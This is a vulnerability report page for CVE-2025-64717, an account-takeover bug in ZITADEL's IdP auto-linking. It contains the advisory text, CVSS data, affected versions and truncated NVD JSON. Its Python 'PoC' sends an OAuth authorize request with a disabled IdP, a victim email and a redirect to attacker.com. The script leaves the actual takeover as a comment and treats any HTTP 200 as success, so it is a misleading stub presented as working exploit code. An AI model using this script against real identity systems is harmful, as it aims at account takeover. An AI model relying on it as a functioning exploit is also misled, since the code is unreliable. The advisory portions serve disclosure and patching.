Security Vulnerability Report
中文
CVE-2025-64717 CVSS 9.8 CRITICAL

CVE-2025-64717

Published: 2025-11-13 16:15:57
Last Modified: 2025-12-04 14:39:54

Description

ZITADEL is an open source identity management platform. Starting in version 2.50.0 and prior to versions 2.71.19, 3.4.4, and 4.6.6, a vulnerability in ZITADEL's federation process allowed auto-linking users from external identity providers to existing users in ZITADEL even if the corresponding IdP was not active or if the organization did not allow federated authentication. This vulnerability stems from the platform's failure to correctly check or enforce an organization's specific security settings during the authentication flow. An Organization Administrator can explicitly disable an IdP or disallow federation, but this setting was not being honored during the auto-linking process. This allowed an unauthenticated attacker to initiate a login using an IdP that should have been disabled for that organization. The platform would incorrectly validate the login and, based on a matching criteria, link the attacker's external identity to an existing internal user account. This may result in a full Account Takeover, bypassing the organization's mandated security controls. Note that accounts with MFA enabled can not be taken over by this attack. Also note that only IdPs create on an instance level would allow this to work. IdPs registered on another organization would always be denied in the (auto-)linking process. Versions 4.6.6, 3.4.4, and 2.71.19 resolve the issue by correctly validating the organization's login policy before auto-linking an external user. No known workarounds are available aside from upgrading.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:* - VULNERABLE
ZITADEL >= 2.50.0 且 < 2.71.19
ZITADEL >= 3.0.0 且 < 3.4.4
ZITADEL >= 4.0.0 且 < 4.6.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-64717 PoC - ZITADEL IdP Auto-linking Bypass # This PoC demonstrates the authentication bypass via disabled IdP auto-linking import requests import json TARGET_ZITADEL = "https://vulnerable-zitadel-instance.com" ATTACKER_IDP = "https://attacker-controlled-idp.com" TARGET_USER_EMAIL = "[email protected]" def exploit_cve_2025_64717(): """ Exploitation steps for CVE-2025-64717: 1. Identify a ZITADEL instance with vulnerable versions 2. Find an IdP that should be disabled for the target organization 3. Initiate authentication flow using the disabled IdP 4. Provide external identity matching target user's criteria 5. Achieve account takeover via auto-linking """ # Step 1: Discover organizations and their IdP configurations org_query = f"{TARGET_ZITADEL}/admin/v1/organizations" # Step 2: Initiate auth flow with disabled IdP auth_init = f"{TARGET_ZITADEL}/oauth/v2/authorize" params = { "client_id": "attacker_client", "redirect_uri": "https://attacker.com/callback", "response_type": "code", "scope": "openid profile email", "idp_id": "disabled_idp_id", # IdP that should be disabled "login_hint": TARGET_USER_EMAIL } # Step 3: Send authentication request (bypassing disabled IdP check) response = requests.get(auth_init, params=params) # Step 4: Complete authentication with matching external identity # System will auto-link to target user account print(f"[*] Target: {TARGET_ZITADEL}") print(f"[*] Exploiting IdP auto-linking bypass...") print(f"[!] If successful, attacker gains access to: {TARGET_USER_EMAIL}") return response.status_code == 200 if __name__ == "__main__": exploit_cve_2025_64717()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64717", "sourceIdentifier": "[email protected]", "published": "2025-11-13T16:15:56.973", "lastModified": "2025-12-04T14:39:53.937", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ZITADEL is an open source identity management platform. Starting in version 2.50.0 and prior to versions 2.71.19, 3.4.4, and 4.6.6, a vulnerability in ZITADEL's federation process allowed auto-linking users from external identity providers to existing users in ZITADEL even if the corresponding IdP was not active or if the organization did not allow federated authentication. This vulnerability stems from the platform's failure to correctly check or enforce an organization's specific security settings during the authentication flow. An Organization Administrator can explicitly disable an IdP or disallow federation, but this setting was not being honored during the auto-linking process. This allowed an unauthenticated attacker to initiate a login using an IdP that should have been disabled for that organization. The platform would incorrectly validate the login and, based on a matching criteria, link the attacker's external identity to an existing internal user account. This may result in a full Account Takeover, bypassing the organization's mandated security controls. Note that accounts with MFA enabled can not be taken over by this attack. Also note that only IdPs create on an instance level would allow this to work. IdPs registered on another organization would always be denied in the (auto-)linking process. Versions 4.6.6, 3.4.4, and 2.71.19 resolve the issue by correctly validating the organization's login policy before auto-linking an external user. No known workarounds are available aside from upgrading."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.4, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "2.50.0", "versionEndExcluding": "2.71.19", "matchCriteriaId": "B3B611AF-52FB-49EF-9042-F4AF8DB7A21B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.4.4", "matchCriteriaId": "EC555BCC-5A14-4158-9CCB-569702A49890"}, {"vulnerable": true, "criteria": "cpe:2.3:a:zitadel:zitadel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.6.6", "matchCriteriaId": "19721B04-022B-48E8-8B57-52D2805284D6"}]}]}], "references": [{"url": "https://github.com/zitadel/zitadel/releases/tag/v2.71.19", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zitadel/zitadel/releases/tag/v3.4.4", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/zita ... (truncated)